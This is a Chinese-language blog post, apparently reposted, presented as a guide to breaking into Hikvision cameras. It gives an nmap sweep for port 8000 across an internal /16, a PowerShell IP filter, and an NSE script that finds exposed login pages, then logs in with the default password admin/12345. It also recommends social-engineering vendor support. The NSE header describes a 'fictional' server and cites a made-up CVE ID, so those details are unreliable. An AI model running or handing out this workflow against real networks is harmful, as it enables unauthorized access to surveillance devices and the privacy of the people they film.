如果想要入侵每一台互聯網設備,知道IP是非常必要的。我通過和客服打電話和自己在網上搜索,有3種方法可取。
1.用專業的海康威視設備搜索工具。比如:iVMS-4200 客戶端。
2.也是通過安裝海康威視設備搜索工具如:iVMS-4200 客戶端。然后設備和安裝搜索工具的電腦連接。
3.客服說:所有海康威視的默認連接端口都是8000.利用nmap 掃內網。
如果想要入侵任何網絡設備。給客服打電話收集信息是一個非常不錯的選擇。
以上3個方法我一一嘗試:
第一種方法:失敗。(因為我要入侵的設備和我不在一個局域網)
第二種方法:需要和設備0距離接觸失敗。
第三種方法:成功。
接下來就演示我如何自動化入侵海康威視設備的。
nmap 掃整個內網開8000的機器,然后逐一試探。因為8000端口是每個海康設備都會開啟的。默認情況下,開啟了8000端口,80端口也會開。
1.然后我就用nmap掃了整個內網的8000端口.
1
|
nmap -sS -T5 -p8000 -v -open -sV -oN c:\scan.txt 172.16.0.0/16
|
這么多開8000端口的機器,我一個一個的在網頁上試:
試的我好費勁。
2.powershell 過濾IP.
我就想先把開放8000端口的機器都過濾出來,我就拿powershell 寫了一下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
[cmdletbinding()]
param
(
[parameter(Mandatory = $true)]
[Alias('f', 'file')]
[string]$filename,
[parameter(Mandatory = $true)]
[Alias('o', 'output')]
[string]$outputname
)
switch -regex (Get-Content $filename)
{
"(^Nmap scan report for )\b(.*)" { $matches[2] | Out-File -FilePath $outputname -Append}
}
|
注意:此時過濾出來的數據不能直接-iL 這樣使用.需要把IP重新復制到另一個txt中,使用-iL參數。
3.寫一個nse腳本,批量檢測以上IP是否存在http://IP/doc/page/login.asp 頁面。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
-- The Head Section --
description = [[Sample script to detect a fictional vulnerability in a fictional ArcticFission 1.0 web server
@usage
nmap --script http-vuln-check <target>
@output
PORT STATE SERVICE
80/tcp open http
|_http-vuln-check_packaging: Vulnerable
| VULNERABLE
| ArcticFission 1.0 Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-XXXX-XX
| References:
|_ http://dmzlab.com
author = "iphelix"
license = "Same as Nmap -- See http://nmap.org/book/man-legal.html"
categories = {"default", "safe"}
]]
-- The Rule Section --
local shortport = require "shortport" local http = require "http"
local vulns = require "vulns"
portrule = shortport.http
-- The Action Section --
action = function(host, port)
-- 漏洞定義部分 --
local vuln = {
title = "<<<<HIKVISION VULNERABLE>>>>",
state = vulns.STATE.NOT_VULN,
IDS = { CVE = 'CVE-2016-521' }
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
local uri = "/doc/page/login.asp"
local options = {header={}}
options['header']['User-Agent'] = "Mozilla/5.0 (compatible; ArcticFission)"
local response = http.get(host, port, uri, options)
if(response.status==200 or response.status==500) then
vuln.state=vulns.STATE.VULN
else
vuln.state=vulns.STATE.NOT_VULN
end
return report:make_output(vuln)
end
|
把該腳本保存為test_jiankong.nse.放到nmap目錄下的scripts目錄下。
采用命令:
1
|
nmap -sS -T4 -script=test_jiankong -p80 -open -iL c:\test\2.txt -oN c:\test\4.txt
|
掃描剛剛過濾出來開8000端口的機器,是否有http://IP/doc/page/login.asp 頁面。如果有提示如下:
4.再次利用上訴powershell腳本。
過濾出有http://IP/doc/page/login.asp 頁面的機器.
然后拿瀏覽器訪問該IP。利用弱口令用戶名:admin 密碼:12345嘗試登陸 。
原文地址: http://www.dmzlab.com/77261.html
轉載時必須以鏈接形式注明原始出處及本聲明